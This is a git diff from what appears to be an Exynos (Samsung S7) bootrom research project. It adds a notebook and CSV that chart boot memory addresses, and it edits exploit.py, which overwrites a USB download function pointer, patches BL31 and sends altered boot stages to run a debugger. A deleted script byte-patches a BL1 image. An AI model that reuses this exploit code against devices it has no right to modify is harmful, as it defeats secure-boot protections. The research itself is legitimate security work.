diff --git a/documentation/exynos_exploit_chain.odg b/documentation/exynos_exploit_chain.odg new file mode 100644 index 0000000..7e31434 Binary files /dev/null and b/documentation/exynos_exploit_chain.odg differ diff --git a/documentation/source/_ignore/draw_boot.ipynb b/documentation/source/_ignore/draw_boot.ipynb index b06f804..c4f5244 100644 --- a/documentation/source/_ignore/draw_boot.ipynb +++ b/documentation/source/_ignore/draw_boot.ipynb @@ -2,7 +2,7 @@ "cells": [ { "cell_type": "code", - "execution_count": 2, + "execution_count": 263, "metadata": {}, "outputs": [], "source": [ @@ -20,24 +20,12 @@ }, { "cell_type": "code", - "execution_count": 3, + "execution_count": 264, "metadata": {}, "outputs": [], "source": [ - "# Convert the following into an appropriate data object, which is searchable, from start, to end, to name and label\n", - "# - 0x00000000 to 0x00020000: BootROM\n", - "# - 0x000002c0: BL1 boot entry point\n", - "# - 0x00012848: bootrom authentication function\n", - "# - 0x00019310: BL1 boot function\n", - "# - 0x02069000: First debugger location\n", - "\n", - "data = [\n", - " {\"start\": 0x00000000, \"end\": 0x00020000, \"name\": \"BootROM\"},\n", - " {\"start\": 0x000002c0, \"name\": \"BL1 boot entry point\"},\n", - " {\"start\": 0x00012848, \"name\": \"bootrom authentication function\"},\n", - " {\"start\": 0x00019310, \"name\": \"BL1 boot function\"},\n", - " {\"start\": 0x02069000, \"name\": \"First debugger location\"}\n", - "]\n" + "import pandas as pd\n", + "data = pd.read_csv('stack_and_functions.csv').to_dict(orient='records')" ] }, { @@ -49,7 +37,7 @@ }, { "cell_type": "code", - "execution_count": 120, + "execution_count": 266, "metadata": {}, "outputs": [ { @@ -60,7 +48,11 @@ }, "data": [ { + "marker": { + "color": "#768f95" + }, "mode": "text", + "name": "BootROM", "text": "BootROM", "textposition": "middle center", "type": "scatter", @@ -68,11 +60,15 @@ 0.5 ], "y": [ - 0.5 + 2.1463414634146343 ] }, { + "marker": { + "color": "#2564cb" + }, "mode": "text", + "name": "BL1 boot entry point", "text": "BL1 boot entry point", "textposition": "middle center", "type": "scatter", @@ -80,11 +76,15 @@ 0.5 ], "y": [ - 1.5 + 4.628048780487806 ] }, { + "marker": { + "color": "#9e0519" + }, "mode": "text", + "name": "Boot USB function", "text": "Boot USB function", "textposition": "middle center", "type": "scatter", @@ -92,11 +92,15 @@ 0.5 ], "y": [ - 2.5 + 5.298780487804878 ] }, { + "marker": { + "color": "#2f0c12" + }, "mode": "text", + "name": "bootrom authentication function", "text": "bootrom authentication function", "textposition": "middle center", "type": "scatter", @@ -104,11 +108,15 @@ 0.5 ], "y": [ - 3.5 + 5.969512195121951 ] }, { + "marker": { + "color": "#7e4e8a" + }, "mode": "text", + "name": "BL1 boot function", "text": "BL1 boot function", "textposition": "middle center", "type": "scatter", @@ -116,71 +124,15 @@ 0.5 ], "y": [ - 4.5 - ] - }, - { - "mode": "text", - "text": "Boot USB return address", - "textposition": "middle center", - "type": "scatter", - "x": [ - 0.5 - ], - "y": [ - 5.5 - ] - }, - { - "mode": "text", - "text": "Event buffer pointer", - "textposition": "middle center", - "type": "scatter", - "x": [ - 0.5 - ], - "y": [ - 6.5 - ] - }, - { - "mode": "text", - "text": "BL1 pointer", - "textposition": "middle center", - "type": "scatter", - "x": [ - 0.5 - ], - "y": [ - 7.5 - ] - }, - { - "mode": "text", - "text": "First debugger location", - "textposition": "middle center", - "type": "scatter", - "x": [ - 0.5 - ], - "y": [ - 8.5 - ] - }, - { - "mode": "text", - "text": "End of memory stack", - "textposition": "middle center", - "type": "scatter", - "x": [ - 0.5 - ], - "y": [ - 9.5 + 6.640243902439026 ] }, { + "marker": { + "color": "#43f7e5" + }, "mode": "text", + "name": "Frederic Destination pointer", "text": "Frederic Destination pointer", "textposition": "middle center", "type": "scatter", @@ -188,13 +140,101 @@ 0.5 ], "y": [ - 10.5 + 7.310975609756099 + ] + }, + { + "marker": { + "color": "#d4b036" + }, + "mode": "text", + "name": "Boot USB return address", + "text": "Boot USB return address", + "textposition": "middle center", + "type": "scatter", + "x": [ + 0.5 + ], + "y": [ + 7.981707317073173 + ] + }, + { + "marker": { + "color": "#574d7b" + }, + "mode": "text", + "name": "Event buffer pointer", + "text": "Event buffer pointer", + "textposition": "middle center", + "type": "scatter", + "x": [ + 0.5 + ], + "y": [ + 8.652439024390247 + ] + }, + { + "marker": { + "color": "#34619d" + }, + "mode": "text", + "name": "BL1 pointer", + "text": "BL1 pointer", + "textposition": "middle center", + "type": "scatter", + "x": [ + 0.5 + ], + "y": [ + 9.32317073170732 + ] + }, + { + "marker": { + "color": "#57f720" + }, + "mode": "text", + "name": "First debugger location", + "text": "First debugger location", + "textposition": "middle center", + "type": "scatter", + "x": [ + 0.5 + ], + "y": [ + 9.993902439024394 + ] + }, + { + "marker": { + "color": "#dca8fd" + }, + "mode": "text", + "name": "End of memory stack", + "text": "End of memory stack", + "textposition": "middle center", + "type": "scatter", + "x": [ + 0.5 + ], + "y": [ + 10.664634146341468 ] } ], "layout": { "autosize": true, + "font": { + "size": 18 + }, "height": 1200, + "legend": { + "title": { + "text": "Function/Locations" + } + }, "margin": { "b": 20, "l": 200, @@ -203,20 +243,20 @@ }, "shapes": [ { - "fillcolor": "#12e884", + "fillcolor": "#768f95", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, "y0": 0, - "y1": 1 + "y1": 4.2926829268292686 }, { - "fillcolor": "#db08ae", + "fillcolor": "#2564cb", "layer": "below", "line": { "width": 2 @@ -225,125 +265,125 @@ "type": "rect", "x0": 0, "x1": 1, - "y0": 1, - "y1": 2 + "y0": 4.2926829268292686, + "y1": 4.963414634146342 }, { - "fillcolor": "#50034a", + "fillcolor": "#9e0519", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, - "y0": 2, - "y1": 3 + "y0": 4.963414634146342, + "y1": 5.634146341463415 }, { - "fillcolor": "#547ec9", + "fillcolor": "#2f0c12", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, - "y0": 3, - "y1": 4 + "y0": 5.634146341463415, + "y1": 6.3048780487804885 }, { - "fillcolor": "#daac51", + "fillcolor": "#7e4e8a", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, - "y0": 4, - "y1": 5 + "y0": 6.3048780487804885, + "y1": 6.975609756097562 }, { - "fillcolor": "#8704ee", + "fillcolor": "#43f7e5", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, - "y0": 5, - "y1": 6 + "y0": 6.975609756097562, + "y1": 7.646341463414636 }, { - "fillcolor": "#86785f", + "fillcolor": "#d4b036", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, - "y0": 6, - "y1": 7 + "y0": 7.646341463414636, + "y1": 8.31707317073171 }, { - "fillcolor": "#e33d72", + "fillcolor": "#574d7b", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, - "y0": 7, - "y1": 8 + "y0": 8.31707317073171, + "y1": 8.987804878048784 }, { - "fillcolor": "#2f63f4", + "fillcolor": "#34619d", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, - "y0": 8, - "y1": 9 + "y0": 8.987804878048784, + "y1": 9.658536585365857 }, { - "fillcolor": "#1258f9", + "fillcolor": "#57f720", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, - "y0": 9, - "y1": 10 + "y0": 9.658536585365857, + "y1": 10.329268292682931 }, { - "fillcolor": "#109cff", + "fillcolor": "#dca8fd", "layer": "below", "line": { "width": 2 }, "opacity": 0.5, "type": "rect", - "x0": 0, + "x0": 0.1, "x1": 1, - "y0": 10, - "y1": 11 + "y0": 10.329268292682931, + "y1": 11.000000000000005 } ], "template": { @@ -1162,45 +1202,72 @@ } } }, - "width": 800, + "width": 1000, "xaxis": { "range": [ 0, 1 ], + "showticklabels": false, "tickvals": [ 0, 1 ] }, "yaxis": { + "gridcolor": "black", + "griddash": "longdashdot", + "gridwidth": 0, + "showgrid": false, "ticktext": [ "0x0", - "0x2c0 \n 0x12c0", - "0x64e0 \n 0x74e0", - "0x12848 \n 0x13848", - "0x19310 \n 0x1a310", - "0x2020f60 \n 0x2021f60", - "0x2021578 \n 0x2022578", - "0x2021800 \n 0x2022800", - "0x2069000 \n 0x206a000", - "0x206f000 \n 0x2070000", - "0x20c0000 \n 0x20c1000", - "0x20c1000" + "0x52c0
0x2c0", + "0xb4e0
0x64e0", + "0x17848
0x12848", + "0x1e310
0x19310", + "0x211000
0x20c000", + "0x2025f60
0x2020f60", + "0x2026578
0x2021578", + "0x2026800
0x2021800", + "0x206e000
0x2069000", + "0x2070000
0x206b000", + [ + "0x0", + "0x20000", + "0x2c0", + "0x52c0", + "0x64e0", + "0xb4e0", + "0x12848", + "0x17848", + "0x19310", + "0x1e310", + "0x20c000", + "0x211000", + "0x2020f60", + "0x2025f60", + "0x2021578", + "0x2026578", + "0x2021800", + "0x2026800", + "0x2069000", + "0x206e000", + "0x206b000", + "0x2070000" + ] ], "tickvals": [ 0, - 1, - 2, - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11 + 4.2926829268292686, + 4.963414634146342, + 5.634146341463415, + 6.3048780487804885, + 6.975609756097562, + 7.646341463414636, + 8.31707317073171, + 8.987804878048784, + 9.658536585365857, + 10.329268292682931 ] } } @@ -1212,45 +1279,22 @@ ], "source": [ "import plotly.graph_objects as go\n", - "\n", - "# Sample data structure\n", - "data = [\n", - " {'start': 0x00000000, 'end': 0x00020000, 'name': 'BootROM'},\n", - " {'start': 0x000002c0, 'name': 'BL1 boot entry point'},\n", - " {'start': 0x000064e0, 'name': 'Boot USB function'},\n", - " {'start': 0x00012848, 'name': 'bootrom authentication function'},\n", - " {'start': 0x00019310, 'name': 'BL1 boot function'},\n", - " {'start': 0x02069000, 'name': 'First debugger location'},\n", - " {'end': 0x02070000, 'name': 'End of memory stack'},\n", - " {'start': 0x02021578, 'name': 'Event buffer pointer'},\n", - " {'start': 0x02020f60, 'name': 'Boot USB return address'},\n", - " {'start': 0x02021800, 'name': 'BL1 pointer'},\n", - " {'start': 0x020c0000, 'name': 'Frederic Destination pointer'},\n", - "]\n", - "\n", - "# _evtbuf_ptr: .dword 0x02021578\n", - "# _boot_usb_ra: .dword 0x02020f60\n", - "# _bl1_ptr: .dword 0x02021800\n", - "# _original_ra: .dword 0x00007c68\n", - "# _boot_usb: .dword 0x000064e0\n", - "# _dst_ptr: .dword 0x020c0000\n", - "# _auth_bl1: .dword 0x00012848\n", - "# _jmp_bl1: .dword 0x000002c0\n", + "import random\n", "\n", "# If there is no end, set it to start + 0x1000\n", "for d in data:\n", " if 'end' not in d:\n", - " d['end'] = d['start'] + 0x1000\n", + " d['end'] = d['start'] + 0x5000\n", "\n", "# If there is no start, set it to end - 0x1000\n", "for d in data:\n", " if 'start' not in d:\n", - " d['start'] = d['end'] - 0x1000\n", + " d['start'] = d['end'] - 0x5000\n", "\n", "# Sort the data by start\n", "data = sorted(data, key=lambda x: x['start'])\n", - "\n", - "import random\n", + "total_used_len = sum([d['end']-d['start'] for d in data]) # Length of all blocks described\n", + "tickpointers = []\n", "\n", "def random_color():\n", " return f'#{random.randint(0, 0xFFFFFF):06x}'\n", @@ -1258,33 +1302,46 @@ "# Create a square for each index\n", "fig = go.Figure()\n", "for i, d in enumerate(data):\n", + " if i == 0:\n", + " prev_y = 0\n", + " max_y = (prev_y + ((d['end'] - d['start']) / total_used_len))\n", + " fillcolor = random_color()\n", + "\n", + " if d['Order'] == \"ENTRY\":\n", + " x0 = 0\n", + " else:\n", + " x0 = 0.1\n", + "\n", " fig.add_shape(\n", " type=\"rect\",\n", - " x0=0,\n", - " y0=i,\n", + " x0=x0,\n", + " y0=prev_y * len(data),\n", " x1=0 + 1,\n", - " y1=i+1,\n", + " y1=max_y * len(data),\n", " line=dict(width=2),\n", - " fillcolor=random_color(),\n", + " fillcolor=fillcolor,\n", " opacity=0.5,\n", - " layer=\"below\"\n", + " layer=\"below\",\n", " )\n", "\n", + " tickpoint = [(prev_y + (max_y - prev_y) / 2) * len(data)]\n", + " tickpointers.extend([prev_y * len(data)])\n", + "\n", " fig.add_trace(go.Scatter\n", " (\n", " x=[0.5],\n", - " y=[i+ 0.5],\n", + " y=tickpoint,\n", " text=d['name'],\n", " mode=\"text\",\n", - " textposition=\"middle center\"\n", + " textposition=\"middle center\",\n", + " name=d['name'],\n", + " # Set color to\n", + " marker=dict(\n", + " color=fillcolor,\n", + " ),\n", " ))\n", - "\n", - "fig.update_layout(\n", - " width=800,\n", - " height=1200,\n", - " autosize=True,\n", - " margin=dict(l=200, r=20, t=20, b=20)\n", - ")\n", + " \n", + " prev_y = max_y\n", "\n", "fig.update_xaxes(\n", " range=[0, 1],\n", @@ -1301,59 +1358,38 @@ " elif i == len(labels) - 1:\n", " labelset.append(labels[i])\n", " else:\n", - " labelset.append(f\"{labels[i]} \\n {labels[i+1]}\")\n", - "labelset.append(labels[-1])\n", + " labelset.append(f\"{labels[i+1]}
{labels[i]}\")\n", + "labelset.append(labels)\n", "\n", "fig.update_yaxes(\n", - " tickvals=[i for i in range(len(data)+1)], \n", - " ticktext=labelset\n", + " # tickvals=[i for i in range(len(data)+1)], \n", + " tickvals = tickpointers,\n", + " ticktext=labelset,\n", + " griddash=\"longdashdot\",\n", + " gridwidth=0,\n", + " gridcolor=\"black\",\n", + " showgrid=False,\n", + ")\n", + "\n", + "fig.update_xaxes(\n", + " # Disable ticks\n", + " showticklabels=False,\n", + ")\n", + "\n", + "fig.update_layout(\n", + " width=1000,\n", + " height=1200,\n", + " autosize=True,\n", + " margin=dict(l=200, r=20, t=20, b=20),\n", + " font=dict(\n", + " size=18,\n", + " ),\n", + " # Legend being the name of the function\n", + " legend_title_text=\"Function/Locations\",\n", ")\n", "\n", "fig.show()" ] - }, - { - "cell_type": "code", - "execution_count": 111, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['0x0',\n", - " '0x2c0 - 0x12c0',\n", - " '0x12848 - 0x13848',\n", - " '0x19310 - 0x1a310',\n", - " '0x2069000 - 0x206a000',\n", - " '0x206f000 - 0x2070000']" - ] - }, - "execution_count": 111, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [] - }, - { - "cell_type": "code", - "execution_count": 115, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "'0x2070000'" - ] - }, - "execution_count": 115, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "labels[-1]" - ] } ], "metadata": { diff --git a/documentation/source/_ignore/stack_and_functions.csv b/documentation/source/_ignore/stack_and_functions.csv new file mode 100644 index 0000000..0fe150f --- /dev/null +++ b/documentation/source/_ignore/stack_and_functions.csv @@ -0,0 +1,12 @@ +start,end,name,Order,Comment +0,131072,BootROM,, +704,21184,BL1 boot entry point,ENTRY, +25824,46304,Boot USB function,, +75848,96328,bootrom authentication function,, +103184,123664,BL1 boot function,, +2146304,2166784,Frederic Destination pointer,, +33689440,33709920,Boot USB return address,, +33691000,33711480,Event buffer pointer,, +33691648,33712128,BL1 pointer,, +33984512,34004992,First debugger location,, +33992704,34013184,End of memory stack,, diff --git a/requirements.txt b/requirements.txt index 67292be..fdeb438 100644 --- a/requirements.txt +++ b/requirements.txt @@ -14,5 +14,7 @@ sphinxcontrib.drawio sphinx_wagtail_theme plotly numpy -nbformat>4.2.0 +nbformat==5.10.4 +pandas +xvfbwrapper #Required for sphinx drawio source/ghidra_assistant/ghidra_assistant-0.0.1-py3-none-any.whl \ No newline at end of file diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index d351f59..0726320 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -620,12 +620,9 @@ class ExynosDevice(): auth_bl1(DEBUGGER_ADDR) self.usb_write(b"FLSH") # Flush cache hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) - # INSERT YOUR BL1 PATCHES HERE + self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31 - self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br")) - - # END jump_bl1(DEBUGGER_ADDR) @@ -642,53 +639,45 @@ class ExynosDevice(): time.sleep(2) self.usb_read(0x200) # GiAs - # lr = self.cd.arch_dbg.state.LR - - - # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # Resore oginal boot flow - - # TODO patch verification - - - # self.cd.memwrite_region(0x0202010c - 52, p32(GADGET_RET0)) - - - # self.cd.memwrite_region(0x02024774, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR # self.cd.arch_dbg.state.X0 = 0x020347f0 # self.cd.arch_dbg.state.X1 = 0 # self.cd.restore_stack_and_jump(0x02030464) self.cd.restore_stack_and_jump(lr) - time.sleep(2) - self.usb_read(0x200) # GiAs - self.cd.memwrite_region(0x02031008, b"ELH") + assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" + # ====== PATCHES TO BL31 here! ====== + self.cd.memwrite_region(0x02031008, b"ELH") - - # Jump entry BL31 + # Jump into BL31 self.cd.restore_stack_and_jump(0x02024010) - - time.sleep(2) self.connect_device() - # WORKING assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" + # print(self.cd.memdump_region(0x020200dc, 4)) self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) #Sets jump/X1 address at X0 0x2048000 -> Entry point of BL2 - self.cd.memwrite_region(0x02020, p32(DEBUGGER_ADDR)) # Restore original boot flow + # Boot mode? Not sure whether its important (related to boot type at function 02023800?) + # self.cd.memwrite_region(0x02020, p32(DEBUGGER_ADDR)) # Restore original boot flow - # Jump into BL2 + # Jump into USB download function + # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR + + # WORKS self.cd.restore_stack_and_jump(hijacked_fun) - # END - - # self.usb_read(0x200) # GiAs - # self.cd.restore_stack_and_jump(hijacked_fun) + + # WORKING UNTIL HERE # ==== Stage 3 BL2 ==== - self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()) + BL2_FUN = 0x2048000 + bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read() + # bl2 = bl2[:(0x02052bf4-0x02048000)] + b"00000000" + bl2[(0x02052bf4-0x02048000)+8:] + self.send_normal_stage(bl2) + + # self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()) time.sleep(2) self.connect_device() diff --git a/source/exploit/modify_bin.py b/source/exploit/modify_bin.py deleted file mode 100644 index b7195f5..0000000 --- a/source/exploit/modify_bin.py +++ /dev/null @@ -1,8 +0,0 @@ -# Open a binary file and modify it -bl1 = open('../S7/bl1.bin', 'rb').read() - -# Modify the binary file at 1C10 -bl1 = bl1[:0x1C1C] + b'\x48' + bl1[0x1C1D:] - -# Write the modified binary file -open('../S7/bl1_mod.bin', 'wb').write(bl1) \ No newline at end of file